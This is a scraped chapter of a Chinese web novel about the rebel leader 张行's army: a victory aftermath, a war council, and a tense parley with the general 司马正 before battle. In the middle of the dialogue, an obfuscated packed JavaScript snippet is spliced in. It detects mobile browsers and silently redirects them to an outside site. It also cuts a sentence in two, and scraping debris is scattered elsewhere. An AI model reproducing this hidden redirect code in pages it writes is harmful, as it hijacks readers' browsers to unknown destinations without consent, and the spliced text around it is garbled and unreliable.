相对应的,城外就混乱和繁琐了许多,张行几乎是每两刻钟就要接到一份报告: 有的是南线战况的,什么抓住何稀了,李定、徐师仁联手为何稀求情了;什么莽金刚处战事不利,且战且退,结果天一黑被张虔达和李安远反向脱离战斗逃了;什么被俘虏的禁军太多,塞满了周遭几个村庄,后勤压力骤增之外可能要留下不少看管人员。 有的是涡河东面的情报,什么冯无佚撞上了牛河跟太后、小皇帝,听说了张行发布大魏除名的布告,据说是当场在泥地里抱头痛哭一场;什么赵行密受不了跟一群大魏忠臣或者同情者整日挤在一起,请求谒见张首席,说愿意提供军情,协助作战;什么全军出动的淮右盟在涣水西岸截住了鱼皆罗的大军,正在激战…… 甚至有一个报告说,帮里一支去联络淮右盟的巡骑,居然在路上遇到了神仙。 除此之外,不停有河东部队陆续赶来,因为冰桥融化,过河变得艰难,使得部队零散起来,也是个麻烦事。 倒是北面和西面,一直缺乏报告,这倒也是寻常,因为一来,张行刚刚挪到此处,哨骑还没有集中,没有撒开,只是靠牛达派遣的军事侦查部队来探听消息;二来,这两处地方除了吐万长论的部队方位需要注意,理论上也没有别的计较。 天亮以后,太阳出来了,但还是有些云层,似乎还要反复数日,经历几场间歇性雨水,才能真正的让淮西地区脱离梅雨季节。 而就这个阳光灿烂的上午,牛达将好不容易睡了一会的张行叫了起来,并向对方汇报了一个紧急情况。 “北面禁军的援军?”醒来的张行似乎并不诧异,只还是躺在那两条条凳并做的榻上。“吐万长论来了?” “来了,但不止是他。”牛达表情严肃。 张行翻身坐起,揉了揉眼睛:“不止是他是什么意思?” “淮阳郡的兵马也来了。”牛达依旧严肃。“赵佗那厮反了。” “赵佗算个什么反?”张行愣了一下,明显不以为然。“哨骑有限,只侦查到赵佗跟吐万长论的联军,没往后走?” “是。”牛达心里一惊。 而昨夜就在这附近对付的文书新首领虞常南本想说些什么,听到这里,也闭上了嘴。 张行叹了口气,终于站起身来,但起身后形容姿态却显得格外轻松,乃是以手搭棚,抬头看了看太阳,又环顾四面,只见城墙上干湿阴阳分明,不远处涡水浑浊不堪,南流不止,周围营地则杂乱无章,连栅栏都没有,遑论营房,部队疲敝明显,早餐是有的,但也是相互匀着吃干粮,只用头盔喝澄下来的河水。 这些其实都没什么。 因为这里六七个营里的部队几乎全是长途奔袭,而且一半是渡河而来,一半是经过苦战的,算是情有可原。更重要的是敌军主力已经大败,被包围的城上,部队明显人心惶惶,城中将领更是完全颓丧。 所谓大局已定之下,这些都无所谓的。 随着张行醒来,并四处张望,军中将领也汇集起来,牛达、伍惊风、王厚、李子达、夏侯宁远、诸葛德威、张道先、苏靖方,包括白有宾、虞常南等人,除了一个在城南死死看住城池的伍常在没来,基本上全到了。 张行环顾四面,神态俨然轻松,却又忽然发问:“天亮前李定是不是来信说今日上午能大约打扫完战场,陆续分兵支援包括此间的各路?” “是。”回答的是苏靖方,他是昨晚跟着张行来的那个营,而后者也一直在他营中歇息() 39314904。。 ... 第三十二章风雨行(32) 东都军来的飞快。 一开始是吐万长论跟赵佗,前者一万禁军,后者一万淮阳郡卒……也就是后者的到来,让人第一时间意识到司马正来了……因为赵佗这个万年墙头草和他的淮阳郡本该是黜龙军此战的胜利果实才对,如今这般作态,除非是身后有东都大军,否则委实难以想象。 而果然,连针对性的侦查活动都还没来得及大规模展开呢,东都军的序列就出现在了视野内。 这让刚刚转移到谯城城下的黜龙军诸将明显骚动起来。 “前锋很少,只有两千人,已经到了谷阳城。中军极多,最少三万,一时探查不清。后军不晓得有没有,又在何处……已经派遣巡骑从后方绕行侦查了……” “中军是司马正亲自带队?” “最起码是打了司马二字的大旗,而且看旗帜,是大将军级别的绣边方形大旗。” “果然来了!” “来的好快!” “三万多人是对数的,哪怕他留下防御兵力,可带上王代积的人也够了。” “确实有王字旗。” “我就说嘛,之前俘虏讲他们去了西面没见到王代积才回头的……结果是应在这儿了。” “刚刚一场大战,难道又要大战,这次轮到我们被以逸击劳了吧?” “损失确实不少,好几个营都打残了,尚二、翟大、小贾这三个营基本上就算没了。” “后面还有张虔达跟李安远,他们当时是打赢了自己撤的……” “已经让单龙头带着八个营去了,若还是不行,那就真不行了。” “鱼皆罗呢?他是不是也有一万人?还是已经败了?” “鱼皆罗那里不好说……” “不好说什么意思?” “淮右盟说他们大胜,结果却是全程没见到鱼皆罗……现在的说法是,鱼皆罗跟他副将分兵了,胜的是副将,鱼皆罗凭空消失了。” “消失了?他真是一条鱼游进淮水了?” “也是个麻烦,这要是一个宗师领着五千兵突然出现在我们身后又如何?” “派了四个营过去接应淮右盟。” “那算一算,我们这里还能有三十个营?这倒妥当了!” “妥当个屁!好几万俘虏,得留多少人看管?而且莫忘了,咱们损失真不少。” “我估计,这里是二十来个营对他们五六万人,整体上是三十五六个营对他们**万人……” “好不容易大胜,怎么一转眼反而变劣势了?” “这就是之前首席不愿意打这一仗的根本缘故……打了,未必有明显的好处,也没有明显态势的改变,反而耗费兵马、徒增伤亡……” “若是为了灭薛常雄,死再多也值得……” “谷阳城……谷阳城不是涡水东岸吗?” “应该说是北岸,涡河在这里往上游拐了个弯,是一段东西向的……所以,谷阳城虽在对岸,却依然在吐万长论与赵佗的遮蔽下。”…。。 “倒是一步妙棋,可是两千人有什么用?想要截断我们退路,或者威胁后方,未免痴人说梦了吧?” “应该就是个支点,真要做什么,肯定会再增兵,不过据说里面有宗师……” “宗师?!谁?!” “贴出了一个布告,说是魏公的半路老师王怀通在那里……” “这真是……” “王怀通亲自领兵?” “不是,领兵是李清臣,靖安台出身的黑绶,现在的靖安台长史,但中间转任过淮阳郡都尉……” “这倒是合乎情理了() 。” “李清臣怎么有些耳熟?” “之前被我们俘虏过……当时还是曹林主政,韩引弓就是他跟吕头领接引过来的。” “想起来了……” 外面议论纷纷,隔着一张带有云纹的大魏禁军制式高级帷幕,李定与徐世英正面面相对,他们一起侧耳倾听,但眼睛却都斜在了小帐内几案后的张行身上,后者正在写信。 这厮这几日写信写的过于多了些。 等了一阵子,眼见着张行写完信,小心折好,喊来一名文书,只以寻常黜龙帮内部传信方式送走信,李定方才缓缓开口:“怀通公从了司马正,眼下故人是个麻烦,但从长远来讲,未必是件坏事。” 张行心不在焉点点头。 徐世英也认可式的点了下头。 道理很简单,王怀通到底是宗师,还是晋地顶尖大世族出身,而且作为金戈夫子的嫡系传人名望极高,甚至以金戈夫子那个身体状况,完全可以说,王怀通天下文修正统的身份短时间内已经无人可以撼动了……但是很可惜,这么一个仅仅存在就价值极高的人却不大可能从“贼”的,而既不从贼,无外乎是从白或从司马……而以将来可以望见的天下局势来看,黜龙帮当然还是希望他从司马正了。 毕竟,白横秋的实力和发展路线更让人警惕。 “跟王怀通比,我倒是更在意李清臣……”张行看了看身后的秦宝。“二郎,李清臣不是废了吗?怎么司马正一去又活了?” “我也不知道。”秦宝摇头以对。“但也不好说,当日我也差点废了,现在也活了……” “心中郁郁吗?”张行若有所思。“现在司马正去了,东都有救了,就有盼头了?” 秦宝只是摇头。 “二郎你也不要多想。”倒是张行反过来安慰。“卖药的青帝观道人都说没问题,徐大郎用长生真气探你也没探出来什么,说不得那般遭罪只是曹林的手段,然后靠着东都地气来发,所以曹林**,你过大河了,便没了计较。” 秦宝先是胡乱点头,但最终忍不住一叹:“若是李十二郎真顶着那般病情过来,那可真了不得。” “怎么说?”张行已经起身离开几案,正收拢案上情报准备带出去,便只随口来问。…。。 “那次遭病之前,我身体强健,从未想过受伤得病这般遭难。”秦宝正色言道。“包括看史书跟小说里那些人,说谁谁谁英雄了得,忽然得病,便万般英雄气都散了,或者干脆直接从书里退场,便觉得匪夷所思。偶尔看到有人残废了、伤病了,还能做事,书里便夸他身残志坚,委实了得,却又觉得大惊小怪……便是对上李清臣那个鬼样子也觉得他有点装……直到自己遭了罪,才晓得身残志坚这四个字真真是了不起。” 屋内几人都有些诧异反应,很明显,他们意识到这是秦宝难得的真情流露,是肺腑之言。 而顿了一下,倒是李定幽幽来笑:“若是李十二真是抱病而来,也不知道是算他厉害还是司马二郎厉害了?” 几人颔首,各自一叹,便走了出去。 看样子,虽然外面局势堪忧,但黜龙帮的军事指挥核心却都还是挺放松。 来到外面,雄伯南以下,诸多头领都在议论纷纷,见到这三位来了,也都收声……张行带着几人落座,依旧一如既往的干脆: “几件事,大家记一下。” 众人纷纷凛然,而除了外围的文书和参军们,甚至有不少领兵头领也莫名摸出小本本来,拿着炭笔准备稍作记录。 “第一件,便是之前一战的赏罚……不是具体赏罚,记功不可能计算妥当,但头领这一层我心里还是有谱的,跟天王、李龙头、徐副() 指挥,包括单龙头、柴龙头几个临走前也都说过……具体一点就是四个人,白有宾举义,并说服本部禁军临阵倒戈,直接促成了此战大胜,我意署代头领,让他在范圩子那里看管俘虏同时整编出一营部队,建制上让他代替牺牲的尚怀恩头领;虞常南借机投奔,将禁军虚实、行军计划分派尽数告知,亦有奇功,我也署了临时头领,依旧管文书……” 白有宾在看管俘虏,虞常南倒是就在一旁,赶紧站了起来,但未及开口就被张行摆手示意坐了回去。 “还有诸葛德威头领,这次也是奇功一件,他本人的意思是想转带兵头领,正好翟宽临阵不遵军令,致使部队损失严重,调离前线,发回济阴,待战后转岗,他的部队就交给诸葛头领……诸位可有异议?”张行最后说完,四下环顾。 众将面面相觑,原本想记录的几位头领也都没有记下几个字。 很简单,一则,他们委实没想到张首席这般好整以暇,居然是在东都军大军压境的情形下先讨论上一战;二则,这话说到最后一位,也就是翟宽身上后,好像也不好插嘴的样子。 翟宽本人不在,打完仗后这厮就称伤病,一直在后面伤兵营内,这种情况下,他二弟,也是帮内资历大头领翟谦自然成为了众矢之的。 翟谦面色涨红,半晌没说话,眼看着张行似乎又要继续下去,方才强压着种种开了口:“首席,我有话说!”…。。 “说。”张行精神一振。 “我大哥既贪功又无能,这次打废了仗,坏了那么多兄弟,是实际,也该罚!”翟谦瓮声瓮气来言。“但他到底也是当年跟着首席你在济水起事的第一批头领……要知道,当年起事时可不是眼下这样,当年张首席只带着周行范一个人来到的王五郎庄子,起事时的根本我们这些济水大家全都把自家家产人口送了出来……我不是要在首席跟前要什么丹书铁券,但最起码得给我们这些起事时就在的头领一个说法,能不能单算一份功劳?省的我们这些人有些废物一头栽下去起不来?” 这怨气也不知道是对他大哥还是对张首席,周围人表情自然微妙起来。 张行好整以暇,点点头,便要说话,正好雄伯南也要说话,二人卡了一下,却是忽然听到徐世英冷笑一声,然后插了嘴:“翟二,你要这般算,我一个人出的力便是你们兄弟的许多倍,可不可以再加几份功劳与我?可我为什么从头到尾跟你一样都只是大头领呢?” 翟谦听到徐世英说话便知道要糟,半晌也没有反驳,但也没有服软,只是顶在那里。 徐世英见状愈发不耐,便要再说。 “好了。”张行摆手示意。“徐大郎不必咄咄逼人,翟二郎也不必这般忧虑……事情要分开看,首先,咱们前头还有东都大军,不该在这里耽误时间,所以翟大头领便是有纷争的想法也该等会议后,或者此战之后再来计较;其次,翟大头领既开了口,我也不必遮掩,我确实是把你们这些举事元初头领的资历和贡献各自算一份功劳的。” 周围明显有些骚动,很多人的眼神都有些变化。 “之所以如此,不是为了偏袒元从,恰恰是要给后进人留路。”张行一声叹气。“咱们黜龙帮要赏罚公正,要能上能下,而且要一力摒除人身依附……所以才起名叫黜龙帮……但是呢,从黑帝、赤帝开始兼并争霸的时候,就是这种一层附着一层的人事,都多少年的习惯了,你要想摒除它,得先承认它,而帮内元从的优势从不是什么贡献了多少家资和丁口,而是那些丁口自认是元从的附属,哪怕到了别处做队将、县令,甚至做到头领、大头领都还是自认附属,这就麻烦了。所以,把这些东西具体化,当做一个功劳,正是解决这个东西的一个法子。翟谦?” “是。”翟谦这次终() 于站起身来。 “没有夺了你大哥的头领位置,只是要他转到地方。”张行平静提醒道。“不让他带兵罢了。” 翟谦点点头……倒不是说他一下子就被说通了,而是说他一个豪强加郡吏,文化有,但不多,道理晓得,但眼界窄,只是入了黜龙帮才开阔些,平素最怕张首席这些人说些乱绕的道理,结果其他人都还纷纷点头,好像都听懂的样子,再加上之前徐世英的发作,这就让他慌张,便只能点头。…。。 当然,点头后翟大头领临坐下时还是想起了什么,赶紧应声:“这次是我不对,不该这个时候说这事的。” 张行再三点头,等对方坐下却又开口道:“诸位,既然话到这儿了,我就多说几句。现在在打仗,之前几百年也都在打仗,诸位当然觉得管兵马的、手里有一营兵的才算是正经的路数,便是做太守、总管也要看手里有没有兵才算数……下面传的那些话,什么‘总管不如现管"的我都知道……但时势易转,天下事不是一成不变的,黜龙帮也不是只要打仗,真有一日我张三借着诸位的威风,连东夷都打下来了,证位了神仙,却不知道那时候天下还留许多兵?郎将可比得上太守?” 这一次,众人难得纷纷附和,却大都觉得张首席在放屁,真有那日那日再说,熬到那时候还做郎将算自家倒霉便是。 也就是雄伯南几人深信不疑。 张行自然晓得这群出身驳杂的兵头怎么想,也不做理会,继续开会:“给虞头领设个座位,咱们接着说下件事……也就是涡河上起桥的事情,之前打仗需要渡过来,如今则要保障后勤,所以需要大力起桥,保障后勤,但没必要再封冻河流……这件事交给柴孝和龙头来做,涡河南边派出去的四个营,马上从荥阳南下的几个军法营,河南两个行台的官府、仓储、民夫也都交给柴龙头,淮右盟的进军事宜也交给他……柴龙头对接到这边就是徐副指挥。” 除了徐世英点了下头,大帐内很平静,经历了之前的一次波澜,这些事情就显得平淡了起来。 “第三件事就是立垒。”张行继续言道。“就在城下立垒……李龙头抓总,徐副指挥做副,立个无懈可击的营垒!” 此言一出,众将终于议论纷纷: “只是立垒吗?”有人诧异问道。“这是要长期对峙打呆仗?我们耗得起?河北那边马上该有反应了!” “还有分兵做犄角,下一件事就是这个。”张行立即作答。“河北的事情确实麻烦,但总要先管这边。” “与其立垒,为什么不打下谯城呢?”雄伯南也出言质询。“我看城内士气萎靡,尤其是咱们昨日又放进去不少禁军伤员……不管那个内应应不应,我出手便是。” “谯城说下便下。”张行认真道。“但司马正既到了,城内这两兄弟便是个手段,可以用来跟司马正交涉……这便是我要说的最后一件事,这一仗,做好准备,立垒严整,分兵犄角,攻守自若,然后尽量跟东都军议和……这一仗对双方而言过早了,我们太累了,减员也多,再打一场大仗必然伤亡剧增;而司马正此来也只是为了接应禁军,并没有跟我们拼命到底的理由。” 不少人如释重负。 坦诚说,之前范圩子一战固然打的精彩,但黜龙军良莠不齐的战力遇到还有一点**之末态势的禁军时,确实也损失不少,而这次司马正来的时机似乎将将好,轮到黜龙军**之末,再打下去也难。…。。 但也有人有些其他想法:“趁着东都军中军尚在几十里外,今夜突袭对方前军如何?” “我觉得是诱饵。”出乎意料,回答这个问题的居然是虞常南。“司马正原本是想来救援,必然要尽速行军,而现在这个拖拉姿态是反常的,我能想到的就是,他() 知道大战结束,临时改了计划,故意落在后面,想用前军做诱饵。” 李定在内,不少人都点头认可。 张行也点了头:“这种局面一旦受挫,就艰难起来了。” “分兵怎么分?”建议被否决,牛达赶紧回到原本计划上来问。 “针尖对麦芒,分之一支兵马,过河,绕到东都军前军和中军之间的谷阳去。”李定接口道。“兵力要足,实力要强,可以随时吃下李清臣和王怀通。” 牛达不吭声了。 “那……我去?”雄伯南蹙眉道。 “不必。”打完进入黜龙帮后的第一场大仗,李定明显轻松了不少。“真要打,雄天王可以自行轻松去支援……” “让王五郎去,带五个营。”张行给出预定方案。“马分管(马围)已经南下,天王直属的几个军法营也会来,一起来的还有几位金刚,十三金刚俱在,就不慌。” 王叔勇精神一振,立即应下,这是他的优点,敢打敢拼,闻战则喜。 相对应的,雄伯南则松了口气。 坦诚说,现在这局势他还是比较焦虑的,一则对面大约算一算居然有四位宗师,作为黜龙帮唯一宗师不免压力倍增,尤其是伏龙印碎了;二则,作为之前负责侦查警惕东都军与吐万长论的人,虽然实际上只是针对开战当日的短期侦查,可吐万长论与东都军合流,尤其是司马正收拢了王代积一起过来,不免有些自责。 “若是议和,有什么说头吗?”又有人来问。 “没有。”张行脱口而对。“先接触看看,走一步算一步……虽然咱们不想再打仗,我也觉得对方也不想打仗,但凡事都不是心想事成的,咱们决不能接受对方过度的讹诈,不能让这一仗死的那么多兄弟白死……但同时,总得计较薛常雄那里跟河北的局势,真有坏消息,真得计较清楚。” 众人无话可说。 黜龙帮已经是个成熟的势力了,会议结束,立即便执行了下去,搭桥、立垒、分兵、派遣文书参军往各处做使者,一切都还算是有条不紊。 不知道算是意料之中还是意料之外,东都军的反应明显慢了半拍。而且,信使进入谯城、吐万长论与赵佗大营、谷阳城,全都遭到了已读不回的应对。 但也无所谓了,在拖拉了一整日之后,司马正终于率领中军抵达谯城北面涡河南侧的旷野中,然后就地与前军合兵立营,却又往前铺陈营寨,以至于前营距离对方数量达到五万之众。…。。 当然,也派遣了一支兵马支援了谷阳。 这个时候,黜龙帮在谯城下方建立的营垒中大约还有二十个营,加上分兵的五个营数量,约四万众,双方正式开始对峙。 不过,这一次张行就没有对司马正主动派遣信使了,他还是对司马化达、李清臣、王怀通、吐万长论、赵佗,包括刚刚抵达的王代积、屈突达,甚至包括当年在徐州交战过的樊超、卫忠,乃至于包括司马正的主骑王童这些人不停得发信送信,而且还不只是自己发,还让所有跟对方将领能扯上关系的人都发。 徐师仁就吐槽过,自己半辈子没写过这么多嘘寒问暖、剖明形势的信。 但是,就是不给司马正发信。 就这样,对峙了大约又两日之后,随着雨水落下又放晴,这日早间,东都军、黜龙军、黜龙军分寨依次飘起大量炊烟,很显然,虽然不晓得是浮桥数量的快速增多、分兵的如鲠在喉,又或者是这么多无聊的书信,包括可能是某些情报被探知,乃至于单纯的想**,东都军最终决定出阵。 上午时分,双方营寨开始骚动,营门大开,各部有条不紊开始出兵,就在两营之间空地上开始排兵布阵。 谯城() 城头上,司马进达望着夏日阳光下的这一幕,看了许久,忽然一声叹气:“咱们输的不冤!” 旁边的封常拢着手,认真点点头:“确实,一直走到徐州的时候……不对,是走到颍水的时候,哪怕沿途遭遇过十几个营了,咱们都还觉得黜龙帮就是个大点的、有些制度的盗匪,从未将他们抬到跟禁军并列的地步……结果呢,不晓得人家有多少兵力,不知道人家战力如何,稀里糊涂先立约又违约,送到了人家口中。凭什么不败?” 话到这里,封常愈发蹙眉:“想想也是,人家几年前就跟河间大营有来有回了,咱们当时到底是中的什么邪?!” 司马进达既不点头,也不摇头,只是看向了北面,彼处一面大将军级别的制式绣边黄色云纹军旗缓缓而出,正中间稍显扁一些的司马二字在他的修为中渐渐清晰起来。 封常也望向了那里,却只能看到隐约一面大旗。 “七将军要做援助吗?”封常心中微动。 司马进达缓缓摇头。 “七将军听我一句劝。”封常见状犹豫了一下,缓缓来言。“下面黜龙军大营里,应该至少有两个宗师,可能还有个什么能对大宗师的十三金刚,还可能有伏龙印,再加上成名的成丹高手七八位、凝丹几十位,咱们这个城,根本就没有抵抗的能力……想要活命,只是看司马大将军那里的结果,你留在这里,其实无益。” “我知道。”司马进达抬头看了看刺眼的阳光。“但没办法,大兄还在这里,他也是个关键。” 封常点了点头,心中颇显遗憾,却也只能眯着眼睛看向了远处的战场。…。。 又过了一阵子,大约快到中午时候,彼处战场中央,随着双方列阵完毕,张行和司马正终于再见面了,一起相见的,还有秦宝、李定、王代积这些都中故人。 “可惜了,思思不在,李清臣也不来,还有钱唐也不在,否则可以就地摆宴的。”张行骑着一匹劣马言笑晏晏。 此言一出,唯一赔笑的居然是对面的王代积……但是马上他就肃然了,因为其他人都没笑。 司马正看着对方,然后仰天看了看阳光,复又低下头来叹道:“军国重事,生死存亡,张三郎倒是一如既往这般轻佻。” “庄重过的。”张行认真作答。“这几年一直挺庄重的,但是不知道为什么,晓得你来了,反而轻佻起来了。” 司马正愣了一下,然后也来笑:“你这是嘲讽我吗?” “不是。”张行摇头恳切以对。“我是觉得,败给其他人都不甘心,若是败给你,也就败了。” 这个反转倒是有些出乎意料,不止是司马正,便是双方阵前面理的各自七八人都有些沉默。 “两军交战……”司马正重新肃然,但还是那句话。“张首席只会戏谑吗?” “那就说点正经的。”张行也肃然起来。“阁下从东都来,那地方是天下之中,应该知道不少消息……河北那里薛常雄有没有趁我们不在起兵攻打我们黜龙帮?” 司马正原本只觉得自己完全被对方绕着走,但既然说到这个,他倒是乐意奉陪:“我不晓得薛大将军有没有主动攻打你们,但我从收拢部队,准备蓄力一击时,便已经往河北送信了,约定的就是五月下旬开始时务必南下出兵。” 张行点点头,不置可否,只继续来问:“那西面呢?关西是什么局势?巫族退兵了吗?” “哪来的退兵?”轮到司马正笑道。“巫族三部中的两部几乎倾族而来,势要夺取关中,怎么可能说退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167987|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就退?就因为白横秋是白老爷子的后人?” 张行不置可否,只是认真提醒:“人家是丞相,如何能直呼其名?白丞相有拥立之功的。” () 司马正面不改色,但他身后的东都诸将却几乎全都色变……赵佗更是迫不及待,立即越次应声:“白横秋自行其事,擅立皇帝,与贼臣无二。” 好嘛,成大魏忠臣了。 司马正听到这话,心中也不由咯噔一下子,但偏偏没有任何立场和理由阻止这位刚刚投入自己阵营的地头蛇。 果然,此言一出,张行身后许多人都笑了。 李定率先提醒:“赵府君,白横秋立皇帝的时候,司马大将军的亲父和亲叔先杀了皇帝,还杀了齐王,而且也立了个新皇帝,人家白家只是立,司马家却是废立,而且还要屠戮皇室。” 赵佗脸色一红,却依然抗辩:“白贼立皇帝时,焉能知晓江都事宜?其人正是篡逆!而司马兄弟废立时,大将军在东都,也如何晓得彼处事宜?委实无辜!”…。。 这便是要将司马正与司马化达做切割了。 黜龙帮诸将愈发哄笑不止,就连雄伯南这种对**没什么大兴趣的人也都觉得可笑……不是切割有问题,而是过于狡辩了,而且真要切割,哪里轮得到他开口? 相对应的,不止是赵佗,司马正身后几员大将面色都有些难看,王代积也在左右瞥了一眼后,早早黑起了脸……毕竟,这些人都知道,当日司马正离开徐州本身就是导致江都军变的最直接原因。 司马正自己也心知肚明,否则何至于面不改色同时双手握住的马缰变得紧绷起来? “我倒是不以为然。”就在这时,出乎意料,张行反过来制止了哄笑。“这事没什么可笑的……曹魏暴虐无道,曹彻死不足惜,杀曹彻是对的,哪怕是以臣弑君也是对的,只是不该无故杀齐王;而立新君这个事情,是曹彻**大魏朝廷内里的人没办法的举止,是正路……至于白横秋,便要问他立新君时不晓得知不知道东都的事情,若是日期差了点,或者不知道,那便算是乱臣贼子了。倒是司马二郎,真真正正的无辜。” 还能这么算吗? 两边人都有些无语,但下一刻,张首席的一句话便将众人拉了回来。 “不过这些已经过去了。”张行看着身前的东都主人继续言道。“司马二郎,现在江都立的新皇帝也已经被我俘虏了,我也发了文告,告知天下,大魏已经亡了,你若是想做大魏的忠臣,恐怕在东都也要再立一个皇帝;而若是存了争雄争霸的心思,恐怕也要学着白横秋,还是要立一个皇帝再说篡位的事情……而且要快,否则师出无名,便是东都内里人都要弃你而去的。” 司马正干笑了一声,已经忍不住了:“我是不会做篡逆之辈的。” “那举义从我们黜龙帮如何?”张行忽然提出了一个建设的建议,似乎也是非常诚恳的建议。 但也就是这个诚恳建议,引得在场所有人都不由发懵。 “自曹氏父子以来,苛刻人心,滥用民力,致使天下崩塌,四海扰攘,大魏遂土崩瓦解,早已无救。而我们黜龙帮起于济水,不过四载,扫荡河北、东境、江淮数十郡,百姓倾心,四方仰德,绝非以区区权势刀兵取之,实乃为天下人心所钟,而人心既天命,又足称天命所归!” 张行言辞愈发恳切,却词句流利,不知道是不是早存了这么一番话。 “现在你司马正才德兼备,自命不凡,为何强要逆天意、背人心而行事呢?岂不闻顺天者昌,逆天者亡。若你愿举东都从我黜龙帮,总有方面之任,而到时候我们一统四海,建设天下,使百姓不再有苛政之苦,战事之卒,岂不美哉?” 司马正听了半晌,冷笑以对:“张三郎,你这话是不是对别人也说过,我怎么这般耳熟?”…。。 “对钱唐说过,对他也说过。”张行指向了眯眼来看自己的李定。“对薛常() 雄也写信说过,对你身后的赵郡守也写信说过,屈突将军是昨日刚刚送信说过,王将军更是说了不知道多少遍,便是对你,也不止说过一次两次……但恕我直言,这些人眼下各自之情状更能说明我的诚恳,我是真心实意想与你共襄大事,开创未来的。” 司马正叹了口气:“我也信你张三郎的诚意,只是天下分崩,人各有志,你张三郎才智过人,我素来敬服,又何妨稍作屈尊,助我重定天下呢?” 这似乎是一个万能的拒绝诚心的理由……唯独李定在旁莫名有些尴尬。 “不一样的。”张行摇头以对。“我不止要重定天下,还要黜龙的。” “那就可惜了。”司马正昂然答道。“早十年前,天下人就知道我司马正要成龙的。” “非要打吗?”张行无奈至极。 “不是针对你。”司马正平静宣告道。“天既降大任于我,我就要以此为根基重定天下,张行如此,白横秋亦如此。” 张行沉默了下来。 他从没指望司马正会纳头便拜,实际上,东都本身的实力和**影响摆在那里,加上司马正的家世、才能、品德,几乎要成为大魏崩塌后天下数得着的三大势力之一。 没错,在张行眼里,完成某种胜利最大的对手是白横秋,最大的阻碍就是眼前之人,最终的标志是东夷,而什么梁公、淮右盟、幽州、河间、南岭,他倒不是说不重视,而是委实没法抬到前面来。 唯独阻碍归阻碍,张行也没指望对方真的会以礼来降,只回到这一战本身,还是那句话……双方没有打的必要,因为打的结果都可以谈出来的……但对方还是这般梗着脖子,这就可惜了。 张行隐约意识到,对方可能是因为这一年的变故和过往双方的交战经历,有了一些钻牛角尖的意思。 一念至此,犹豫了一下后张大首席并没有再与对方计较这个,反而转回话题:“司马二郎,关西那里你还是要注意……不是说白横秋本人多么厉害,而是说他若能合关中、晋地、蜀地三处之力,巫族根本不可能是他对手……更不要说,巫族看似赳赳,其实难副,一旦在关中享受到了富贵,势头就没了,何况他们本就是诸多部落混合而成,不能持久。” “这是金玉良言。”司马正平静做答。“但不要紧,据我所知,白横秋还在汇集兵力、调略巫族头人,估计要等到夏末再动手,以图渭北秋收,咱们有的是时间。” “原来如此。”张行点点头。“既如此,便没什么可计较的了……各自回去开战吧。” 说完,这位黜龙帮首席便已经勒马回转,往自家阵中而去。 这下子,不要说司马正,便是跟来的李定、雄伯南、秦宝等人也全都面露诧异,但阵前总得尊重首席权威,只能强压不解,追随自家首席归阵了。…。。 而司马正,盯着对方背影发呆了许久,几乎要等到对方回到那面大旗下,方才缓缓率几人归阵。 临到自己旗下,其人方才尴尬失笑,与留守在这里的吐万长论、尚师生等人解释:“本想继续厮混下去,等正午日头偏过去,不想张三不中计,待会作战,太阳对着我们,咱们要失一手了。” 吐万长论心态摆在这里,自然无言,但在龙囚关闭了许多年的尚师生却不以为然起来:“大将军说的哪里话,这般大军作战,怎么可能因为日向便失手?便是日向不利,你让我换宝马来做先锋,必可扳回一城!” 司马正想了想,正要用此人志气,便也点点头:“如此,就看尚将军威风!” 另一边,张行回到帅旗下,自然调配部队,准备应战……黜龙军此战用的是他们擅长的保守战法,主力部队背营而列,后半截其实已经渗入到了营垒中,然后() 集中精锐到正面、前面击破来犯之敌,所谓以打促和,以攻为守。 不过,眼见着部队调度妥当,徐世英等人都各自落位,李定却忍不住来问一件事情:“你怎么连谯城的事情说都不说?” “谯城就在身后,肉眼可见,司马二龙全程佯作不知,态度已经很明显了。”张行骑在那匹劣马上缓缓以对。“我们知道他的意思,他也知道我们要做什么……毕竟是父子,何必说出来,故意让人难堪呢?” 雄伯南在旁醒悟过来,不由一声叹气。 而李定则目瞪口呆看着身前之人,一时间也不知道是该嘲笑还是该佩服……无论如何,就是这种小事,他李四是万万想不到的,他总觉得这种小聪明于大局无益,但是,经历了这么多,他也渐渐意识到,可能就是这种小事,让眼前的张三“能得人”。 一旁秦宝想的倒是更多一点,他当然知道这是他三哥的手段,而且单就此事来说,可不只是留情面,把人家爹扔出来计较这件事,司马正虽然在逃避,但估计也早就有心理准备,就是丢脸罢了。可与之对应的,三哥刻意引而不发,未必不会让对方重新纠结此事,信息也是传达到了的。 很难说哪个效果更好。 正想着呢,秦宝忽然感觉胯下黄骠马有些异动,他也感觉到了一丝怪异,却是抬起头来,望向前方,彼处东都军大阵中裂开缝隙,一彪人马当先而出,正在前方列阵,震得地面隆隆作响,而为首者骑着一匹带了马面甲和披绸的雄壮高头大马,头顶大旗则绣着一个“尚”字,正在夏日正午阳光下熠熠生辉。 秦宝放下多余心思,歪头看了两眼,回头却来问李定:“李龙头,若我不用准备将,还能在一刻钟内将这股先锋击溃,此战是不是就可以守住了?” 李定带着疑惑看了看对面那衣甲鲜明足足三千众的骑步精锐,又看了看素来老实的秦宝,只觉得今日人人都要出挑,只他李四是个呆瓜的样子。 当然,他还是点头了:“十之七八吧!你要如何作战?” “前方迎敌如故,借左翼最前方小苏两百骑,我隐身其中,自侧翼突袭斩首。”秦宝诚恳给出方略。“杀不了这尚师生,也能击伤他或者逼退他,然后再度夺旗!” “你有多大把握?”张行也有些懵了。 “十之七八吧。”秦宝依旧坦诚。 张三李四对视一眼,都晓得秦宝是不会夸大其词的人,便各自颔首。秦宝见状大喜,只一点头,便转身勒马而去。 人既走,张行想起什么似的,扭头叮嘱虞常南:“写封信给城头观战的司马进达,告诉他,我说要司马正退兵,否则当众煮了司马化达,司马正说,若如此,且分他一杯羹……写的绘声绘色一些,这一仗一结束就送过去。” 虞常南深呼吸了一下,却是迫不及待,直接就翻身下马,然后蹲在中,趴在马背上来写。 李定只做什么没听到。 而就在这时,前方轰然一片,乃是伍常在部与东都军当面接战,引得中军众人一起收心来看。 